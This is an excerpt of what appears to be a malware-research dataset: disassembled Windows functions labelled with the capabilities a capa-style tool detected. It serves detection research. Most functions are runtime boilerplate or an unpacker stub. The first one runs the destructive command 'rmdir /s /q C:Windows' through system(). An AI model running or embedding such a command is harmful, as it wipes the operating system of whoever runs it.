joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 0x2a], 0x69646d72
mov word [rbp - 0x26], 0x72
mov dword [rbp - 4], 0x7f
movabs rax, 0x52455453414c4c41
mov qword [rbp - 0x34], rax
mov word [rbp - 0x2c], 0
movzx eax, byte [rbp - 0x34]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x33]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x32]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x31]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movabs rax, 0x3a4320712f732f20
movabs rdx, 0x73776f646e69575c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov byte [rbp - 0x40], 0
movzx eax, byte [rbp - 0x30]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x2f]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x2e]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
movzx eax, byte [rbp - 0x2d]
movsx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf
mov dword [rbp - 0x54], 0xa
lea rax, [rbp - 0x54]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rax, [0x140005004]
mov rcx, rax
call dbg.printf
mov dword [rbp - 0x14], 0xf423f
mov eax, dword [rbp - 0x54]
add eax, 0xfc69
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
pxor xmm2, xmm2
cvtsi2sd xmm2, dword [rbp - 0x14]
movq rax, xmm2
movapd xmm1, xmm0
movq xmm0, rax
call dbg.pow
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
lea rax, str.gsad
mov rcx, rax
call sym.system
mov dword [rbp - 0x1c], eax
lea rax, str.rmdir__s_q_C:Windows
mov rcx, rax
call sym.system
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x18]
add eax, 0x70
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
movss dword [rbp - 0x24], xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp - 0x24]
movq rax, xmm0
mov rdx, rax
movq xmm0, rdx
movapd xmm1, xmm0
mov rdx, rax
lea rax, [0x140005023]
mov rcx, rax
call dbg.printf
movss xmm0, dword [rbp - 0x24]
ucomiss xmm0, dword [0x140005038]
jp 0x14000164f
movss xmm0, dword [rbp - 0x24]
ucomiss xmm0, dword [0x140005038]
jne 0x14000164f
lea rax, [0x140005026]
mov rcx, rax
call dbg.printf
jmp 0x1400016b4
lea rax, str.Good_buy
mov rcx, rax
call dbg.printf
jmp 0x1400016b4
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp - 0x24]
movq rax, xmm0
mov rdx, rax
movq xmm0, rdx
movapd xmm1, xmm0
mov rdx, rax
lea rax, [0x140005023]
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 0x18]
mov edx, eax
lea rax, [0x140005033]
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 0x14]
mov edx, eax
lea rax, [0x140005033]
mov rcx, rax
call dbg.printf
cmp dword [rbp - 4], 0x7f
je 0x140001660
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x140001990
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x140001b30
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001ad5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a30
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001b52
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001ace
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001ae0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001ace
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001a58
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400020c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x14000211c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002113
test rsi, rsi
je 0x140002113
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002348
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002350
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002360
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023af
add rax, 0x28
cmp rax, r9
jne 0x140002390
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002440
mov rdx, qword [0x1400054d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000242e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000242e
cmp word [rax + 0x18], 0x20b
jne 0x14000242e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002440
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002419
add rbx, 0x28
cmp rbx, rdi
je 0x140002440
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002410
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400054d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002470
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002478
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002470
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002470
add rax, 0x28
cmp rax, r9
jne 0x1400024b0
xor eax, eax
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400054d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002510
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400054d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002530
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002538
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002530
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002580
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002577
test rcx, rcx
je 0x140002530
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002568
xor eax, eax
ret

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400054d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400054d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002644
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002650
add rdx, 0x28
cmp r9, rdx
jne 0x140002630
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400054d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002682
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002690
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002682
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002682
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002682
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002707
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002717
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ee
test ecx, ecx
jg 0x140002700
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140003720
Capabilities:
Execute command

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call dbg.__main
call sym.__p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x14000376b
jmp 0x1400037e1
test cl, cl
je 0x140003798
and esi, 1
je 0x140003780
mov esi, 1
call sym._ismbblead
test eax, eax
je 0x140003767
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140003748
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140003756
test cl, cl
je 0x140003798
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140003798
cmp al, 0x20
jle 0x140003788
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400037c6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400054d0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp sym.WinMain
lea rbx, [0x140005040]
jmp 0x140003798
Function at 0x140058880
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005888d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005889d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140058885
lea eax, [rcx + 1]
jmp 0x1400588ab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400588be
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400588a4
sub eax, 3
jb 0x1400588de
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005892d
sar eax, 1
movsxd rbp, eax
jb 0x140058914
jmp 0x1400588ec
add ebx, ebx
jne 0x1400588ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140058914
inc ecx
add ebx, ebx
jne 0x1400588fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140058914
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005890d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400588fc
add ecx, 2
jmp 0x140058919
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140058842
jmp 0x14005888d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140058979
cmp rsi, rcx
jae 0x140058981
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140058960
cmp al, 0x8f
ja 0x140058960
cmp byte [rsi - 2], 0xf
je 0x140058966
sub al, 0xe8
cmp al, 1
ja 0x14005894a
cmp rsi, rcx
jae 0x140058981
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140058950
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140058981
lodsb al, byte [rsi]
jmp 0x140058960
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x56000]
mov eax, dword [rdi]
or eax, eax
je 0x1400589ea
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x67440]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005898e
jns 0x1400589c3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400589cd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400589e4
mov qword [rbx], rax
add rbx, 8
jmp 0x1400589ae
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140058a24
cmp al, 0xef
ja 0x140058a16
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400589f6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140058a05
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140058a78
sub rsp, 0xffffffffffffff80
jmp 0x14000c1f0
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140007810]
mov rcx, qword [0x1400077c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x140007820]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x140007830]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x140007800]
mov dword [0x14000a00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400078e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400078c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140007770]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001774
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000a0a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000a0a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400017c2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400017ba
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400018a9
inc ebx
add rax, 0x28
jmp 0x14000179a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x1400017e1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x14000a0a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001843
mov rax, qword [0x14000a0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018a3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018a3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x14000a0a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001cd0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000a100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x140001d1c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001d16
test eax, eax
jne 0x140001d16
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001cee
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001ed0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001ef3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001ef3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140001ef4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001f2e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001f25
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001f30
inc r8d
add rax, 0x28
jmp 0x140001f0c
xor eax, eax
ret

Function at 0x140001fa1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400077c0]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x140001fcd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140004e80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004eca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004eca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004eca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004eca
cmp dword [rcx + 0x84], 0xe
jbe 0x140004eca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004ecc
xor al, al
add rsp, 0x28
ret
Function at 0x140003558
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x140001240]
mov r8d, 0x40
mov byte [0x14000deae], 1
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1400035cb
movzx ecx, word [rsp + 0x20]
lea r8, [rsp + 0x20]
test ecx, ecx
je 0x1400035c9
mov r9d, dword [0x14000e0c0]
and ecx, 0x1f
lea r8, [r8 + 2]
mov edx, 1
shl edx, cl
movzx ecx, word [r8]
or r9d, edx
test ecx, ecx
jne 0x1400035a9
mov dword [0x14000e0c0], r9d
mov al, 1
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14000a6c0
add rsp, 0xb8
ret

Function at 0x140005eb0
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov edi, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r14d, r14d
cmp dword [0x14000c024], 0xffffffff
mov ebx, eax
jne 0x140005fa9
lea rax, [rsp + 0x30]
lea rdx, [0x140001470]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [0x14000c024], r14d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005fa9
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x50]
lea rdx, [0x1400014d0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x48], 0x28
mov dword [rsp + 0x38], 0x50
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140005f8c
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
and ecx, 3
mov dword [0x14000c024], ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x48], 0x28
jle 0x140005fa9
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [0x14000c024]
and eax, 3
test al, al
je 0x14000600c
lea rcx, [rbp - 0x5e]
xor edx, edx
mov r8d, 0x800
mov word [rbp - 0x60], r14w
call sub.msvcrt.dll_memset
mov edx, 0x401
lea rcx, [rbp - 0x60]
test edi, edi
je 0x140005fef
lea r8, [0x1400014e0]
mov r9d, edi
mov qword [rsp + 0x20], rsi
call fcn.140002810
jmp 0x140005ffe
lea r8, [0x140001508]
mov r9, rsi
call fcn.140002810
test eax, eax
js 0x14000600c
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.14000a6c0
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret